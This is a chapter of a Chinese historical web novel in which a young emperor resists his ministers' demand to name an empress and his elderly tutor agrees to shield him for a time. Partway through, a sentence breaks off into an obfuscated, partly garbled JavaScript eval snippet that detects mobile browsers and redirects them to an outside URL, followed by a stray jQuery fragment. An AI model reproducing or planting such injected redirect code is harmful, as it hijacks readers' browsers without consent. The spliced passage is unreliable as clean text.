112. 君臣師生(2 / 2)

除工部呂尚書暈倒被抬下去外,內閣三位輔臣及六部九卿仍舊跪在禦書房中,勸也勸不走,還招一頭罵。這一個個的老大人年歲也都不輕了,要真跪出個三長兩短來,那全都是麻煩。

何敬雙手呈了一頁紙上來。

寧澈接過來看,見是今日盧英當庭寫的諫言疏。在這上麵簽字落款的,除盧英本人外,還有兵部尚書,左都禦史,大理寺卿,通政使。

全都是刺頭。

可若不是刺頭,又如何擔得起秉正監察,清明言路的職責。

盧英今日還是輸了,且輸得並不好看。首輔次輔均未站到他這一邊,九卿當中也失了近半。

可寧澈也沒覺得自己有多光彩。此時的他,已完全失去了同閣臣爭個高下的興致。

他懨懨將那頁紙放在一旁,吩咐說:“將楊閣老請過來吧。”

楊懷簡今年六十有八,若按歲數算,足以當寧澈的爺爺輩了。畢竟是上了歲數的人,跪了這兩個多時辰,雖然他的脊背依舊硬挺,可腳步難免有些蹣跚。

“老臣,參見陛下。”

寧澈無聲頷首,仍是給楊閣老賜了坐。

“楊先生,”寧澈單手拄著額角,“今日內閣所為,實在太讓朕失望了。”

“老臣慚愧。”楊懷簡拱手謝過罪,卻說,“可禮部尚書今日所為,絕非逞一時口舌之快。陛下所見到的臣子態度,也絕非閣部大臣的一家之言。陛下即位已有五載,非但無子嗣,如今甚至連中宮都已位缺。臣工之中已隱有騷動滋生,國本不穩,終究人心難定呐。”

“可這畢竟是朕的家事!”寧澈抬高了聲音,“今日是這一群外臣堵在朕的家門口,指著朕的鼻子乾涉朕的私事。老師不覺得,有些太過分了嗎?”

“老臣早就教導過陛下,帝王之事無家事,皆是國事。陛下在指責臣工諫言的同時,可又想過您如今所為會寒了臣子的心?”

“老師,為什麼啊?”寧澈不禁站起身來,聲聲切切問到,“朕自問,自接位以來,無一日怠懶,無一日荒政。朕一直秉持著先生的教導,是想多做實事的啊,不然又何必要肅貪腐,建海防!難道朕做的這些你們都看不到,僅因為一個無後,就寒了臣工的心了麼?”

楊懷簡同站起身,默了一默,方開口道:“因為,國家太大了,人太多了,陛下的位置,也太高了。”

“統治許多人,秘訣在於利用道德,使地位低的屈服地位高的,女人服從男人,沒讀過書的崇拜讀過書的。而這一切都需要最高位者做出表率和引導[1]。陛下是在肅貪腐,建海防,在千秋萬代看來,您會是位仁聖之君。可落在平頭小吏身上,肅貪腐隻意味著更少的得利,建海防隻意味著繁重的差役。他們看不到陛下的宵衣旰食,看到的隻是您帶頭破壞秩序,從而為自己道德的缺位找到了理由。陛下空有一腔宏圖偉願,可若連小民小吏都無法驅使,即便是再淩雲的壯誌,也都隻是空中樓閣罷了。”

如此平靜的一番話,卻如一條鐵鎖般牢牢纏住了寧澈的喉嚨。他張了張嘴,竟一句反駁的話都無法說出。

楊懷簡抬眸看向麵前的年輕帝王,被

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369593|125276||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

歲月與權謀磨礪過的雙眼,銳利而矍鑠。

“皇上,老臣隻是有些不明白。朝廷眾臣一封一封請立皇後的奏疏送入通政使司,可一一被您留中不發。您既然心懷山河丘壑,可究竟為什麼,對立後這件事就如此抵觸呢?”

“我不是抵觸。”寧澈垂下眼,聲音也低落了下來,“我隻是想給自己一點時間,好好想一想這件事。我不想同自己的結發妻子隻做君臣,也不想因為急於填補皇後這個缺位而再傷害一個女孩。”

楊懷簡並未想到會是因為這個理由。他搖搖頭道:“陛下還是太天真了。同軍國大事相比,這一絲虛無縹緲的感情,真的重要嗎?”

“難道不重要嗎?”寧澈反詰道,“先生年少時同原配妻子初行結發之禮時,心中莫非不曾有過半分期待?”

這次是楊懷簡被問住了。那似乎是很久以前的事了。他十八歲娶親,洞房裡挑開新婦蓋頭的時候,手或許是在微微顫抖的。

可後來原配早逝,他再娶了繼室,也遇到過幾位紅顏知己。在他漫長的人生中,那些似乎都隻是他為官途中的點綴,他並未對任何人再付出過海誓山盟的真情。

但若問他在十八歲洞房花燭那晚是否對紅帳下的女子有過期待,大概也有過吧。可惜時間過了太久,他記不清了。

“待陛下再年長些,自會明白這些道理的。”

“朕現在是還年少,但這不是他們就能欺負到朕頭上的理由。”寧澈沒有來由的忽而委屈,他指著禦書房的方向質問道,“老師隻看到臣工諫言是為了穩固國本,可這當中有多少人是懷著私心,有多少人是想借此掀起新一輪的利益之爭,老師敢說沒有嗎?”

說著說著觸到了脆弱之處,寧澈竟把自己說紅了眼眶。

楊懷簡怔了一瞬。他忽而發覺,寧澈此時並不是作為帝王在與一個臣子駁論,更像是一個少年人在對長輩宣泄心中的不滿。

白發蒼蒼的老閣臣再一次認真打量了麵前這個年輕人一番。

他第一次注意到寧澈腳上穿的鞋子。那是一雙再普通不過的軟底布鞋,再加上他並沒有穿襪子,與身上的龍袍放在一起,有種孩子偷穿大人衣服的滑稽。

楊懷簡旋即便想明白,這必定是日前去天壇祈雨時,將腳給磨傷了。

對於這個他從垂髫稚子一手教出來的少年帝王,楊懷簡驀然有些心軟。

“成王殿下……境況還好嗎?”

寧澈執拗的彆過臉去,側影蕭索:“不太好……不太好。”

聲音越來越低弱,氣息帶著顫抖。

楊懷簡默而低首。

攬鏡自視,他並非一個嚴厲的為人師者,對於那些初涉科場的少年讀書郎,他大多是和顏悅色的。可唯獨對麵前這個學生,他傾注了最多的心血,也授以了最苛責的要求。

無他,隻因為這個學生將會成為一代帝王,高位者必承其重。

但以一個年長者的角度來看,這少年郎也不過還是個孩子。他無父無母,帶著個體弱多病的弟弟,還得在萬千雙眼睛的注目下肩負起天下大任,確實活的太累了些。

雖從未宣之於口,但在楊懷簡心裡,寧澈依舊是他此生最好的學生。即便拋開他的帝王身份,楊懷簡也從不否認這少年人身上的明珠之澤。

在這一刻,剛正一生的內閣首輔,對於自己學生的偏私,超過了禮法律令的規訓。

“如果陛下當前執意不想立後的話……那老臣想想辦法,暫且為陛下擋上一擋罷。”

寧澈緩緩抬起頭來,不太確定自己聽到了什麼。

楊懷簡想了一想,徐徐說道:“為師會稱先帝陵寢封土未實,陛下為彰仁孝,先敬父母,再言自身,以此為由暫且壓一壓前朝的聲勢。但這也僅為權宜之計,待聖母梓宮歸位後,為師怕是也再拖不住了。還望陛下用這段時間,能早做決斷,畢竟為師這把老骨頭,也不知道能為陛下擋上多久了。”

他用了“為師”,而不是“臣”,這是在私心裡,與寧澈站在了一處。

寧澈張了張口。將生母的靈柩遷入皇陵,於他而言又是一件不願觸碰的事。可是他不能把所有事都拖著,也不能真的讓年邁的老師去為他擋住全部的事。

到嘴邊的話,終究還是咽了回去。

“那就,拜托老師了。”

上一頁 書頁/目錄 下一章